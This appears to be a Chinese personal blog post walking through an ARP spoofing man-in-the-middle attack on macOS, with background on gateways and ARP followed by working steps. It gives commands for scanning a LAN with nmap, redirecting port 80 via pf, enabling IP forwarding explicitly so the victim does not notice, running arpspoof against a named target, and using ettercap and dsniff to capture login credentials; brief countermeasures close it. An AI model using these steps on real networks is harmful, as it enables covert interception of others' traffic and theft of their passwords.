NO.23——MacOS下进行ARP欺骗应用ettercap工具进行中间人攻击
最近在油管上看到一个Hacker攻击的技巧视频,于是乎这几天苦于钻研,总算摸出点门道,把学到的知识写下来以作记录。kali Linux是Hacker常用的操作系统,本人在mac上尝试实施。
mac 下准备
- 安装 macports (macports官网)
- 更新 macports ,
sudo port -d selfupdate
- 安装 dsniff(包含 arp 攻击的工具)
sudo port install dsniff
-
安装libtiff ,brew install libtiff
-
安装gtk+3 , brew install gtk+3
-
安装ettercap, brew install ettercap --with-gtk+
- 安装 nmap
brew install nmap
1.1 什么是网关
借用网上的定义,这篇文章介绍的很详细,http://netsecurity.51cto.com/art/201303/386031.htm。首先来简单解释一下什么是网关,网关工作在OSI七层模型中的传输层或者应用层,用于高层协议的不同网络之间的连接,简单地说,网关就好比是一个房间通向另一个房间的一扇门。
1.2 ARP协议是什么
ARP(Address Resolution Protocol)地址转换协议,工作在OSI模型的数据链路层,在以太网中,网络设备之间互相通信是用MAC地址而不是IP地址,ARP协议就是用来把IP地址转换为MAC地址的。而RARP和ARP相反,它是反向地址转换协议,把MAC地址转换为IP地址。
假设A(192.168.0.100)与B(192.168.0.101)在同一局域网,A要和B实现通信。A首先会发送一个数据包到广播地址(192.168.0.1),该数据包中包含了源IP(A)、源MAC、目的IP(B)、目的MAC,这个数据包会被发放给局域网中所有的主机,但是只有B主机会回复一个包含了源IP(B)、源MAC、目的IP(A)、目的MAC的数据包给A,同时A主机会将返回的这个地址保存在ARP缓存表中。
1.3 正常情况下主机通过路由器上网的原理
如上图, 我们以 主机 A ping 8.8.8.8 为例:
- 主机 A 上执行
ping 8.8.8.8
- 主机 A 准备根据默认路由将数据包发送给
192.168.0.1
, 但是最开始的时候主机 A 不知道192.168.0.1
的 Mac 地址, 所以主机 A 广播一条 ARP Request, 询问192.168.0.1
的 Mac 地址是什么 - 路由器收到该 ARP 请求, 发现自己是
192.168.0.1
于是向主机 A 回复一条 ARP Reply, 告诉主机 A192.168.0.1
的 Mac 地址是 xxxGW. - 主机 A 收到该 ARP Reply, 并使用该 Reply 中的 MAC 地址封一个 ICMP Request 包, 然后将包发出去
- 路由器收到该 ICMP 包, 发现目标 IP 是公网 IP, 便将该包放送到公网, 公网返回 ICMP Reply 给路由器
- 路由器准备将 ICMP Reply 发送给
192.168.0.100
, 但是同第2步, 路由器最开始的时候也不知道192.168.0.100
的 Mac 地址是多少, 所以路由器会广播一条 ARP Request, 询问192.168.0.100
的 Mac 地址是什么 - 主机 A 收到 ARP Request, 发现自己是
192.168.0.100
, 于是向路由器回复 ARP Reply, 告诉路由器192.168.0.100
的 Mac 地址是 xxxA. - 路由器收到 ARP Reply, 并使用该 Reply 中的 MAC 地址将第5步收到 ICMP Reply 包重新封包, 并发送出去
- 主机 A 收到 ICMP Reply
至此,正常的上网过程结束。
1.4 ARP欺骗原理
- 如果主机 B 无脑的向主机 A 发送 ARP Reply, 告诉 A
192.168.0.1
的 MAC 是 xxxB, 会发生什么? - 如果主机 B 无脑的向路由器 GW 发送 ARP Reply, 告诉 GW
192.168.0.100
的 MAC 是 xxxB, 会发生什么?
上面提到过了ARP缓存表,在每台主机都有一个ARP缓存表,缓存表中记录了IP地址与MAC地址的对应关系,而局域网数据传输依靠的是MAC地址。
假设主机 A 192.168.1.100,B 192.168.1.101,C 192.168.1.102; 网关 G 192.168.0.1; 在同一局域网,主机A和B通过网关G相互通信,就好比A和B两个人写信,由邮递员G送信,C永远都不会知道A和B之间说了些什么话。但是并不是想象中的那么安全,在ARP缓存表机制存在一个缺陷,就是当请求主机收到ARP应答包后,不会去验证自己是否向对方主机发送过ARP请求包,就直接把这个返回包中的IP地址与MAC地址的对应关系保存进ARP缓存表中,如果原有相同IP对应关系,原有的则会被替换。
这样C就有了偷听A和B的谈话的可能,继续思考上面的例子:
C假扮邮递员,首先要告诉A说:“我就是邮递员” (C主机向A发送构造好的返回包,源IP为G 192.168.1.1,源MAC为C自己的MAC地址),愚蠢的A很轻易的相信了,直接把“C是邮递员”这个信息记在了脑子里;
C再假扮A,告诉邮递员:“我就是A” (C向网关G发送构造好的返回包,源IP为A 192.168.1.2,源MAC地址为自己的MAC地址),智商捉急的邮递员想都没想就相信了,以后就把B的来信送给了C,C当然就可以知道A和B之间聊了些什么
上面ABCG的故事就是ARP双向欺骗的原理了
ARP单向欺骗就更好理解了,C只向A发送一个返回包,告诉A:G 192.168.0.1 的MAC地址为 5c-63-bf-79-1d-fa(一个错误的mac地址),A把这个信息记录在了缓存表中,而G的缓存表不变,也就是说,A把数据包给了C,而G的包还是给A,这样就是ARP单向欺骗了。
1.5 ARP欺骗实战
搜索目标
首先,开启网卡,这是一切操作的基础,让本机拥有网卡功能,后期出现bug有可能是网卡未开启的原因。
sudo chmod 777 /dev/bpf*
查看目标主机的ARP缓存记录的网关IP以及mac地址,可见网关开启在en0端口。
arp -a
命令行输入 ifconfig查看本机IP。
使用 ping 方式扫描,192.168.31.1/24”表示扫描"192.168.31.1-192.168.1.254"这个网段的所有机器。
nmap -sP 192.168.31.1/24
经过扫描,可以看到所有处在此局域网的所有机器,192.168.31.1是网关,192.168.31.84是本机IP,192.168.31.70设定为目标IP。
开启端口转发
mac 下 (修改 mac 的packet filter包过滤器):
-
在 /etc/pf.anchors 目录下新建文件 http,内容如下
rdr pass on en0 proto tcp from any to any port 80 -> 127.0.0.1 port 8080
8080是程序监听的端口号 -
修改 /etc/pf.conf 文件,在适当的位置加入
rdr-anchor "http-forwarding"
和load anchor "http-forwarding" from "/etc/pf.anchors/http"
两行命令.必须按照顺序插入,否则会无效。 /etc/pf.conf 修改后是这样:
# # com.apple anchor point # scrub-anchor "com.apple/*" nat-anchor "com.apple/*" rdr-anchor "com.apple/*" rdr-anchor "http-forwarding" dummynet-anchor "com.apple/*" anchor "com.apple/*" load anchor "com.apple" from "/etc/pf.anchors/com.apple" load anchor "http-forwarding" from "/etc/pf.anchors/http"
-
重启 packet filter,依次输入命令
sudo pfctl -ef /etc/pf.conf
和sudo pfctl -E
开启IP转发
在进行arp欺骗之前必须要开启IP转发,使得本机具有路由功能,否则当欺骗成功之后,目标机会断网,这样会被对方察觉。
mac 下:
sudo sysctl -w net.inet.ip.forwarding=1
linux 下:
echo1 >/proc/sys/net/ipv4/ip_forward
查看本机IP转发情况:
sudo sysctl -a | grep forward
另外,确保已经安装好macports。
ARP欺骗
假设被攻击的 IP 是 192.168.31.70,局域网的网关是 192.168.31.1,攻击电脑使用的网卡接口是 en0,则欺骗命令如下:
# arpspoof -i en0 -t (目标IP) (网关IP)
arpspoof -i en0 -t 192.168.31.70 192.168.31.1
如图,攻击者向目标IP192.168.31.70发送返回包,包含内容:
源ip:192.168.31.1
源MAC:20:c9:d0:79:2b:17
此时再查看目标主机的网关和IP地址,可以看出目标主机arp缓存已经发生了变化,在缓存表中所记录的网关(192.168.31.1)的MAC已经变为了攻击者的MAC
ettercap截获流量
首先确保完成前三步骤,搜寻目标、端口转发、IP转发,然后命令行开启ettercap的图形窗口:
sudo ettercap -G
选择网卡端口en0, Sniff------Unified Sniffing
Hosts-----Scan for hosts,在Host List中添加目标主机IP到Target 2,添加网关IP到Target 1。这里需要说一下,一些资料说Target 1要添加网关IP,众说纷纭,但在我本机测试,我选择Target 2。
Mitm----ARP Poising---
Start ----Sniffing
正常在这里,目标机进行登录事件,我这里会截获USER和PASSWOED,但是始终不成功,还未找到原因在哪。
ARP欺骗的危害
局域网之间主机通信会收到影响,如果是网关欺骗,上互联网也会受影响,黑客利用ARP欺骗可以窃取用户敏感信息、挂木马等,在这里我简单演示一下ARP欺骗嗅探Telnet账户密码。command+N开启新的命令行
dsniff需要创建原始套接字,因此需要超级用户权限。用sudo运行它
怎样防范ARP欺骗
1.在主机绑定网关MAC与IP地址为静态(默认为动态),命令:arp -s 网关IP 网关MAC
2.在网关绑定主机MAC与IP地址
3.使用ARP防火墙
上一篇: DNS欺骗演练
下一篇: 例4.6 - 数的计数 - 奇偶1阶递推